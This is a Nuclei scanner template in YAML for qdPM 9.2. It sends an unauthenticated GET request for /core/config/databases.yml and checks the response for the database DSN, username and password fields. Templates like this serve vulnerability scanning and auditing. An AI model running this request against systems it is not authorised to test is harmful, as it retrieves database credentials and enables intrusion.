30 lines
743 B
YAML
30 lines
743 B
YAML
id: qdpm-info-leak
|
|
|
|
info:
|
|
author: gy741
|
|
description: The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
|
|
name: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
|
|
severity: high
|
|
tags: qdpm,exposure
|
|
reference: |
|
|
- https://www.exploit-db.com/exploits/50176
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/core/config/databases.yml'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'dsn:'
|
|
- 'username:'
|
|
- 'password:'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|